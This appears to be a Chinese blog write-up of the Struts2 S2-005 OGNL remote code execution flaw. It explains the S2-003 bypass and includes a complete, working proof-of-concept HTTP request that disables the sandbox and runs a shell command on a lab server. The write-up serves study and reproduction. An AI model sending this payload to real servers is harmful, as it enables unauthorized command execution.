S2-005 远程代码执行漏洞

S2-005 远程代码执行漏洞

受影响的版本:2.0.0 - 2.1.8.1

详情:http ://struts.apache.org/docs/s2-005.html

参考

参考吴汉青(作者)的《白帽说网络安全》

s2-005 是一个源自 S2-003(版本:< 2.0.12)的漏洞,此行为已在 S2-003 中过滤,但事实证明,基于将可接受参数名称列入白名单的最终修复仅部分关闭了该漏洞.

XWork 将使用 OGNL 表达式将 GET 参数的键和值解析为 Java 语句,例如:

1
2
3
4
user.address.city=Bishkek&user['favoriteDrink']=kumys 
//It will be converted to
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

流程如下:

  • 在 S2-003\u0023中用于绕过 struts2 的过滤器#
  • S2-003 struts2后添加安全模式(沙盒)
  • 在 S2-005 使用 OGNL 表达式关闭安全模式并再次绕过

漏洞复现

远程代码执行 POC(没有显示回显,使用@代替空格):

1
2
3
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: 192.168.44.132:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36

image-20220208173536248

成功执行命令,在/tmp文件夹下创建文件

image-20220208173810866

其他一些POC在tomcat8中会返回400。由于字符\"不能直接放在路径中,我们需要在发送前对其进行urlencode。

此 POC 没有显示,使用 OGNL 的表达式评估:

image-20220208173824488

(aaa)(bbb),aaa用作 OGNL 表达式字符串,bbb是表达式的根对象。因此,如果我们需要执行类似的代码aaa,需要用引号将其包裹起来,bbb位置可以直接放置Java语句。(aaa)(bbb)=true实际上是aaa=true

但是,如何准确理解,还需要进一步研究和优化。希望有人可以写一个可以显示回声的POC。

0%